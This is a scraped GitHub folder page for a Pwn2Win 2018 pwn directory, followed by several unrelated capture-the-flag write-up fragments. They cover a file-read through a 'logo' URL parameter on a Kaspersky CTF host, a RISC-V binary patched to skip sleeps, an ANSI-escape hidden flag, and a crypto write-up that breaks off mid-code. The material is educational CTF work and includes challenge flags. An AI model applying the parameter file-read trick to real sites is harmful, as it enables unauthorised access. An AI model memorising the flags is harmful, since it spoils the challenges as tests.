<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/z3r0s/project/refs" cache-key="v0:1432157656.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ejNyMHMvcHJvamVjdA==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/z3r0s/project/refs" cache-key="v0:1432157656.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ejNyMHMvcHJvamVjdA==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>project</span></span></span><span>/</span><span><span>Pwn2Win</span></span><span>/</span><span><span>2018</span></span><span>/</span>pwn<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>project</span></span></span><span>/</span><span><span>Pwn2Win</span></span><span>/</span><span><span>2018</span></span><span>/</span>pwn<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/z3r0s/project/tree-commit/553ea708f9e4308491712bfbf8a12d5fa8a26334/Pwn2Win/2018/pwn" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/z3r0s/project/file-list/master/Pwn2Win/2018/pwn"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>minishell.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
The main page looked like http://petushok.2018.ctf.kaspersky.com/?logo=petushok.pngThe picture name can be changed to http://petushok.2018.ctf.kaspersky.com/?logo=main.py. The main.py name was guessed. There is an import cococo, lets get it.http://petushok.2018.ctf.kaspersky.com/?logo=cococo.py.
We have check function there, the task is to find the check input which gives 1.
The solver:
```def check(value): # a lot of code return (a140574420399240, a140574420399456, ..., (a140574419586512 + 1), (a140574419608064 + 1))
def brute_from(n, condition_idx): end_pos = (condition_idx + 104) % 137
if condition_idx >= 300: print("flag", hex(n)) exit()
q = check(n) if q[condition_idx % 137] == 1: brute_from(n, condition_idx+1)
n ^= 1 << end_pos q = check(n) if q[condition_idx % 137] == 1: brute_from(n, condition_idx+1)
brute_from(0, 0)
``` |
## hardDOS [MISC 497]### DESCRIPTION : Paying attention is mitey important! (Difficulty: Hard)### CHALLENGE : nc 18.216.100.42 12345
### DIFFICULTY :<font color="red">HARD!</font>
### SOLVED BY:BADboy17{ ;) }
# Writeup:
Let's Start! The Challenge Prompts us to connect to the target .Then it gives us 3 choices to make(**2nd**) is real deal here.
 Then it asks us to find the flag and gives us the Y/N option,
Although both the options are same :laughing: Then comes the interesting part, We start by issuing the command _echo ls_ . This gives a list of some DOS installation files. A lot of time was wasted in this step , first for guessing the right command and then to check all the files one by one with that command.The commmand was _file FILENAME_ and the file was _GRAPHICS.COM_ . Next step was to check for good looking strings in that file by _strings FILENAME_ command and BTOOOM!!
# The FLAG was there.## TUCTF{4LW4Y5_1NF3C7_7H353_19742_BY735}
|
We are greeted by a Linux binary... except it's RISC-V, and not our beloved x86! But that's OK, we can still run it with QEMU:
```~/sec/pwn2win/tooslow $ file too\ slowtoo slow: ELF 64-bit LSB executable, UCB RISC-V, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-riscv64-lp64d.so.1, for GNU/Linux 3.0.0, with debug_info, not stripped~/sec/pwn2win/tooslow $ sudo pacman -S qemu-arch-extra~/sec/pwn2win/tooslow $ qemu-riscv64 ./too\ slow/lib/ld-linux-riscv64-lp64d.so.1: No such file or directory```
Of course, dynamic linking strikes again. In the end, I downloaded libc, libgcc and libstdc++ from [Debian's ftp servers](http://ftp.ports.debian.org/debian-ports/), and unpacked the packages into a directory, with the goal of using QEMU's `-L`:
```~/sec/pwn2win/tooslow $ mkdir sysroot~/sec/pwn2win/tooslow $ ar x libc6_2.27-5_riscv64.deb~/sec/pwn2win/tooslow $ cd sysroot~/sec/pwn2win/tooslow/sysroot $ tar xf ../data.tar.xz~/sec/pwn2win/tooslow/sysroot $ cd ..~/sec/pwn2win/tooslow $ ar x libgcc1_8.2.0-10_riscv64.deb~/sec/pwn2win/tooslow $ cd sysroot~/sec/pwn2win/tooslow/sysroot $ tar xf ../data.tar.xz~/sec/pwn2win/tooslow/sysroot $ cd ..~/sec/pwn2win/tooslow $ ar x libstdc++6_8.2.0-10_riscv64.deb~/sec/pwn2win/tooslow $ cd sysroot~/sec/pwn2win/tooslow/sysroot $ tar xf ../data.tar.xz~/sec/pwn2win/tooslow/sysroot $ cd ..~/sec/pwn2win/tooslow $ qemu-riscv64 -L sysroot ./too\ slow./too slow: /lib/riscv64-linux-gnu/libc.so.6: version `GLIBC_2.25' not found (required by ./too slow)```
Of course, symbol versioning amplifies the dependency hell. Nothing a hex editor can't fix, though. Let's look what symbol versions we actually have...
```~/sec/pwn2win/tooslow $ objdump -p sysroot/lib/riscv64-linux-gnu/libc.so.6 [ . . . ]Version definitions:1 0x01 0x0865f4e6 libc.so.62 0x00 0x06969187 GLIBC_2.273 0x00 0x0963cf85 GLIBC_PRIVATE GLIBC_2.27
Version References: required from ld-linux-riscv64-lp64d.so.1: 0x06969187 0x00 05 GLIBC_2.27 0x0963cf85 0x00 04 GLIBC_PRIVATE~/sec/pwn2win/tooslow $ sed 's@GLIBC_2.25@GLIBC_2.27@g' -i.bak too\ slow~/sec/pwn2win/tooslow $ qemu-riscv64 -L sysroot ./too\ slow./too slow: /lib/riscv64-linux-gnu/libc.so.6: version `GLIBC_2.27' not found (required by ./too slow)```
Well, that didn't work. However, if you look closely, you can see that objdump also prints what I presume to be the hashes used for quick lookup. Fortunately, a good guess lets you locate the value quickly:
```~/sec/pwn2win/tooslow $ objdump -p too\ slow [ . . . ]Version References: required from libc.so.6: 0x06969185 0x00 04 GLIBC_2.27 required from libstdc++.so.6: 0x08922974 0x00 03 GLIBCXX_3.4 0x0297f871 0x00 02 GLIBCXX_3.4.21~/sec/pwn2win/tooslow $ xxd too\ slow | grep '8591 9606'00000590: 8591 9606 0000 0400 9101 0000 0000 0000 ................```
Patching the byte at 0x590 to say 0x87 instead of 0x85 lets you run the binary, only to find out that while it runs, it doesn't seem to be close to finishing. Normally at this point I'd use `ltrace`, but the indirection of QEMU makes that difficult. Fortunately, we can use the integrated system call tracer:
```~/sec/pwn2win/tooslow $ qemu-riscv64 -strace -L sysroot ./too\ slow21458 munmap(0x000000400081b000,238347) = 021458 brk(NULL) = 0x000000000001300021458 brk(0x0000000000034000) = 0x000000000003400021458 nanosleep(274886295048,274886295048,274886295496,-4208914206758899968,274889918272,0) = 021458 nanosleep(274886294984,274886294984,274886295496,-4208914206758899968,274889918272,0)^C = -1 errno=4 (Interrupted system call)--- SIGINT {si_signo=SIGINT, si_code=SI_KERNEL, si_pid=0, si_uid=0} ---```
It seems that someone used a generous amount of race condition mitigations. Let's stub-out the PLT for sleep:
```~/sec/pwn2win/tooslow $ r2 ./too\ slowUnknown DW_FORM 0x06 -- WASTED [0x00010850]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze value pointers (aav) [x] Value from 0x00010000 to 0x00010b28 (aav) [x] 0x00010000-0x00010b28 in 0x10000-0x10b28 (aav) [x] 0x00010000-0x00010b28 in 0x11de0-0x120a0 (aav) [x] Value from 0x00011de0 to 0x000120a0 (aav) [x] 0x00011de0-0x000120a0 in 0x10000-0x10b28 (aav) [x] 0x00011de0-0x000120a0 in 0x11de0-0x120a0 (aav) [x] Emulate code to find computed references (aae) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Enable constraint types analysis for variables[0x00010850]> s sym.imp.sleep[0x00010740]> pdf/ (fcn) sym.imp.sleep 160| sym.imp.sleep (int s);| ; CALL XREFS from entry4.fini (0x10948, 0x10950)| 0x00010740 172e0000 auipc t3, 0x2| 0x00010744 033e8e90 ld t3, -1784(t3)| 0x00010748 67030e00 jalr t1, t3| 0x0001074c 13000000 nop| ;-- imp.__libc_start_main: [ . . . ]| 0x000107c0 0145 li a0, 0| 0x000107c2 0561 addi sp, sp, 32| 0x000107c4 8280 ret [ . . . ]~/sec/pwn2win/tooslow $ checksec too\ slow [ . . . ] PIE: No PIE (0x10000) RWX: Has RWX segments~/sec/pwn2win/tooslow $ xxd -s 0x740 -l 32 too\ slow00000740: 172e 0000 033e 8e90 6703 0e00 1300 0000 .....>..g.......00000750: 172e 0000 033e 0e90 6703 0e00 1300 0000 .....>..g.......```
We can see that the binary is loaded at 0x10000, and that `sleep()` is located 0x740 bytes after that. A quick sanity check confirms the endianness of the instructions, making it easy to patch in a `ret` while looking at the encoding from another function.
Unfortunately, running the binary now does not help with the execution time. I guessed that if I was ever going to get this to finish, I'd have to use a faster algorithm to compute whatever this executable tries to. That's why I reproduced its behavior in Python by studying the compiled code. I'll spare you the details, since no obfuscation techniques were used.
```def N(prev, new): for _ in range(prev ** 7 - 2): prev, new = new, (prev + new) % 1000000007 return (new % 89 + 37) % 256
# extracted from the binaryflag = [ 0x20, 0x35, 0x53, 0x61, 0x33, 0x36, 0x31, 0x54, 0x74, 0x6b, 0x56, 0x75, 0x70, 0x2d, 0x60, 0x23, 0x7a, 0x6c, 0x57, 0x4a, 0x51, 0x7a, 0x5b, 0x34, 0x5e, 0x71, 0x7d, 0x5b, 0x63, 0x3a, 0x27, 0x35, 0x70, 0x2a, 0x29, 0x6b, 0x60, 0x26, 0x59, 0x42, 0x2c, 0x74, 0x6b, 0x56, 0x75, 0x70, 0x5e, 0x71, 0x6c, 0x37, 0x57, 0x25, 0x43, 0x2b, 0x4b, 0x66, 0x77, 0x23, 0x21, 0x5b, 0x59, 0x49, 0x62, 0x45, 0x2c, 0x2a, 0x20, 0x24,]
for i in range(1, len(flag)): prev = flag[i - 1] new = flag[i] print(chr(N(prev, new)), end='')```
As you can see, a Fibonacci-esque sequence with custom starting terms is computed modulo 1000000007. This number was probably chosen because it's a prime near a round number, and it being composite could make it easier to solve.
After consulting stack overflow, I knew I had to use matrix exponentiation: let's represent the two terms in memory as a vector. Notice that we can express an iteration of the loop as multiplying a matrix by the vector:
$$\begin{bmatrix}0 & 1\\\\1 & 1\end{bmatrix}\begin{bmatrix}a\\\\b\end{bmatrix}=\begin{bmatrix}b\\\\a + b\end{bmatrix}$$
Of course, to compute further terms, we can multiply by the matrix multiple times, or, since matrix multiplication is commutative, multiply by the matrix raised to some power. The same property makes it possible to calculate the $n$-th power of a matrix, and thus the $n$-th term of a Fibonacci-esque sequence in $O(\log n)$ multiplications, thanks to the [exponentiation by squaring algorithm](https://en.wikipedia.org/wiki/Exponentiation_by_squaring). Additionally, because all matrices I were dealing with were of the form
$$\begin{bmatrix}x & y \\\\y & x + y\end{bmatrix}$$
I stored just the top row, since I've found it easier to program for:
```# Fibonacci matrices only# [ a0 a1 ][ b0 b1 ] = [ a0b0+a1b1, a0b1 + a1(b0 + b1) ]# [ a1 a0+a1 ][ b1 b0+b1 ] = [ implied ]def matmult(a0, a1, b0, b1): return (a0 * b0 + a1 * b1) % 1000000007, (a0 * b1 + a1 * (b0 + b1)) % 1000000007
# [ a0 a1 ] [ A ] = [ a0*A + a1*B ]# [ a1 a0+a1 ] [ B ] = [ a1*A + (a0+a1)*B ]def N(prev, new): target = prev ** 7 - 2
a0, a1 = 1, 0 for c in bin(target)[2:]: a0, a1 = matmult(a0, a1, a0, a1) if c == '1': a0, a1 = matmult(a0, a1, 0, 1) return ((a1*prev + (a0+a1)*new) % 1000000007 % 89 + 37) % 256```
Replacing the original routine with this optimized version yields the flag after milliseconds of computation:
```CTF-BR{L1n34R_a163BrA_iS_s0_useful1_f0R_L1n34r_r3cuRs1v3_sequ3ncEs}``` |
Writeup can be found here: [https://github.com/IARyan/CTFSolutions/blob/master/2018/TUCTF/shell-easy/shella-easy.py](https://github.com/IARyan/CTFSolutions/blob/master/2018/TUCTF/shell-easy/shella-easy.py) |
Writeup can be found here: [https://github.com/IARyan/CTFSolutions/blob/master/2018/TUCTF/shell-hard/shella-hard.py](https://github.com/IARyan/CTFSolutions/blob/master/2018/TUCTF/shell-hard/shella-hard.py) |
##Objective: cat flag
'flag' was a read only file. Use the `read` command to get the flag.
[Detailed Writeup](http://): https://sayoojsamuel.github.io/2018/12/08/Writeups/cat-flag/ |
The challenge was an interesting reading comprehension exercise -- an attentive reader will notice the literal flag being mentioned in the description, while being verbally encouraged to continue on to harder tasks by the description of the vague plot/theme combining all of them.
While "A Segregated New World" was fun to solve, I was disappointed by a cleartext hint being visible next to the task name since the very beginning. |
No captcha required for preview. Please, do not write just a link to original writeup here.https://medium.com/@awidardi/web-1-kaspersky-industrial-ctf-2018-95af27db6b2 |
In this challenge you get a shell and simply need to output the flag, however when trying you get something like this:
```$ cat flagcat: flag: Permission denied$ ls -ltotal 4-r--r--r-- 1 root root 60 Nov 12 23:23 flag```
The flag file contains ANSI escape characters to hide the flag, use -v to display the file:
```$ cat -v flaghxp{You_escaped_from_ANSI}^[[32Dcat: flag: Permission denied``` |
# Made by baby (for, 141p, 29 solved)
This was a very nice, and not so trivial crypto challenge.In the end it turned out very simple, but nothing really suggested that, so we did a bit of an overkill here.
In the challenge we get [encryption code](babymade.py) and [encrypted flag](flag.enc) to work with.We can see that the flag is supposed to be a PNG file.
The encryption code is rather simple:
```pythonfrom secret import exp, key
